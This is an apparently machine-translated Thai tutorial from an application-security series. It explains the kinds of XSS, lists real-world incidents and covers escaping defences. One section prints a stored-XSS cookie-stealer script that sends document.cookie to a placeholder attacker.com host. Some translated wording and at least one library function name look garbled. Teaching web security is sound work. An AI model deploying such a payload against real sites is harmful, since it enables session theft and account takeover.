มันคืออะไรทำไมถึงสำคัญวิธีดำเนินการวิธีป้องกันช่องโหว่ XSS - และวิธีสร้างตัวขโมยคุกกี้!

Cross-site Scripting (XSS) คือการโจมตีเว็บไซต์ประเภทหนึ่งที่ผู้โจมตีสามารถทำให้เว็บไซต์ที่ถูกโจมตีส่ง JavaScript ไปยังผู้ใช้ จากนั้น JavaScript ที่เป็นอันตรายนี้จะถูกเรียกใช้งานบนเครื่องของผู้ใช้

XSS ประเภทต่างๆมีความโดดเด่น:

• XSS ที่เก็บไว้ : ผู้โจมตีสามารถทำให้เว็บไซต์จัดเก็บ XSS ได้เช่นการสร้างความคิดเห็นบน Facebook หรือข้อความแชทบน Twitch ซึ่งมีข้อความที่เป็นอันตราย จากนั้นข้อความที่เป็นอันตรายจะถูกส่งไปยังลูกค้าใหม่ทุกรายที่เข้าถึงเพจ
• XSS ที่สะท้อน : บางเว็บไซต์อนุญาตให้คุณสร้างลิงก์ที่คุณสามารถแชร์ได้ ตัวอย่างเช่นการค้นหาโดย Google URL มีข้อความค้นหาและหากมีคนคลิกลิงก์นั้น Google จะแสดงข้อความค้นหาจากลิงก์ในหน้านั้น ดังนั้น Google จึงแสดงพารามิเตอร์ของลิงก์ในหน้านั้น หากผู้โจมตีเปลี่ยนคำค้นหาให้มีโค้ดโค้ดนั้นอาจถูกเรียกใช้งานโดยเบราว์เซอร์ของผู้ใช้ที่คลิกลิงก์
• XSS ที่ใช้ DOM : ในเว็บแอปพลิเคชันสมัยใหม่ตรรกะส่วนใหญ่อยู่ในไคลเอนต์ ซึ่งหมายความว่าผู้โจมตีไม่จำเป็นต้องไปที่ฝั่งเซิร์ฟเวอร์เพื่อทำอันตราย JavaScript ในสถานที่ถูกโจมตี ตรงกันข้ามกับ XSS ที่แสดงเซิร์ฟเวอร์ไม่ได้ทำให้เกิดปัญหาโดยตรง JavaScript (ถูกต้อง) บนหน้าอ่านการโจมตี

ข้อมูลที่ผู้ใช้จัดหาให้สามารถมีการโจมตี XSS ได้ อาจเป็นส่วนความคิดเห็น, โฆษณา, document.referrer, ส่วนย่อยของ URL, ...

ทำไมจึงมีความสำคัญ

• XSS เป็นส่วนหนึ่งของOWASP Top-10ซึ่งหมายความว่าเป็นช่องโหว่ทั่วไป
• มีรายการ CVE 14,625 รายการสำหรับช่องโหว่XSSบน mitre.org (ที่มา )
• 2005 : สเปซมีหนอนที่เรียกว่าSamy ภายใน 20 ชั่วโมงผู้เขียนมีผู้ใช้หนึ่งล้านคนเป็นเพื่อนกับเขา (ที่มา ) MySpace ต้องทำให้ไซต์ล่มเนื่องจากการโจมตี XSS นี้
• 2011 : หนอน Facebook อนุญาตให้โพสต์บนผนังอัตโนมัติ (ที่มา )
• 2013 : PayPal มีช่องโหว่ตามที่Robert Kuglerค้นพบ(ที่มา ) เป็นไปได้ที่จะสร้างลิงก์ที่ชำระเงินเมื่อคุณคลิกโดยที่คุณไม่จำเป็นต้องโต้ตอบ
• 2013 : Yahoo เสี่ยงต่อการสะท้อน XSS (ที่มา )
• 2016 : นักวิจัยพบช่องโหว่ XSS บน Facebook (ที่มา )
• 2018 : Uber มีความเสี่ยงต่อการโจมตี XSS ( แหล่งที่มา ) Uber จ่ายเงิน 3,000 เหรียญสหรัฐ
• 2019 : Steam เสี่ยงต่อการโจมตี XSS ที่เก็บไว้ ( แหล่งที่มา ) Steam จ่าย $ 7500 สำหรับมัน
• 2020 : Facebook จ่ายเงิน20,000 ดอลลาร์สำหรับการค้นหาการโจมตี XSS (ที่มา )
• 2020 : Tumblr มีความเสี่ยงต่อการโจมตี XSS ที่ใช้ DOM ( แหล่งที่มา ) Automattic จ่ายเงิน 350 เหรียญสหรัฐ

มีหลายวิธีที่ผู้โจมตีสามารถทำอันตรายได้: พวกเขาสามารถทำให้เว็บไซต์ใช้งานไม่ได้หากมีสคริปต์ XSS อยู่ พวกเขาสามารถเรียกใช้คนงานเหมือง cryptocurrency พวกเขาสามารถขโมยข้อมูลที่สำคัญ

ตามที่สัญญาเป็นไปตามวิธีการออกแบบมือกาวคุกกี้สำหรับหักหลังบัญชี

เราแค่สมมติว่าเรามีเว็บไซต์เช่น Facebook ที่คุณสามารถเพิ่มความคิดเห็นในโพสต์ได้ เราถือว่าความคิดเห็นนั้นถูกนำไปใช้และคัดลอกไปยังทุกคนที่เปิดหน้านี้ ความคิดเห็นที่เราทำคือ

<script>
    image = new Image();
    image.src='https://attacker.com/steal?cookie='+document.cookie;
</script>

ฉันจะทำอย่างไรเพื่อป้องกันการโจมตี XSS

อย่าเชื่อข้อมูลผู้ใช้แบบสุ่มสี่สุ่มห้า ถอดชิ้นส่วนที่อาจเป็นอันตรายออกหนีชิ้นส่วนที่จะเปลี่ยนผลลัพธ์ที่คาดไว้ คุณอาจต้องการที่จะลบและ<script>แท็กหรือแทนที่โดย< &lt;ยังไม่เพียงพอ นอกจากนี้คุณยังสามารถรัน JavaScript กับแอตทริบิวต์ onload แอตทริบิวต์นั้นสามารถเพิ่มลงในแท็ก HTML จำนวนมากหรือแม้แต่ทั้งหมด

ภาษาต่างๆมีวิธีการหลีกเลี่ยงสิ่งเหล่านี้:

• ไป: EscapeString
• Java: org.apache.commons.lang.StringEscapeUtils.escapeHtml
• JavaScript: DOMPurify
• Python: html.escape
• PHP: htmlspecialchars
• ทับทิม: htmlescape
• สนิม: htmlescape::encode_miniaml

อย่าลืมทำความสะอาดอินพุตของผู้ใช้ทั้งหมดไม่ใช่เฉพาะสิ่งที่อยู่ในช่องอินพุตเท่านั้น อย่าลืมเกี่ยวกับส่วนย่อยของ URLและDocument.referrer.

ดูสิ่งนี้ด้วย

ฉันรักTom ScottและComputerphileและพวกเขาทำวิดีโอเกี่ยวกับหัวข้อนี้!

อะไรต่อไป?

ในชุดนี้เกี่ยวกับการรักษาความปลอดภัยของแอปพลิเคชัน (AppSec) เราได้อธิบายเทคนิคบางอย่างของผู้โจมตี😈และเทคนิคของผู้ป้องกันแล้ว

• ส่วนที่ 1: SQL Injections 😈
• ตอนที่ 2: อย่ารั่วไหลความลับ 😇
• ส่วนที่ 3: Cross-Site Scripting (XSS) 😈
• ส่วนที่ 4: การแฮชรหัสผ่าน 😇
• ส่วนที่ 5: ระเบิดซิป😈

• CSRF 😈
• DOS 😈
• การบรรจุข้อมูลรับรอง😈
• การเข้ารหัสลับ😈
• การลงชื่อเพียงครั้งเดียว😇
• การรับรองความถูกต้องสองปัจจัย😇
• การสำรองข้อมูล😇
• การเข้ารหัสดิสก์😇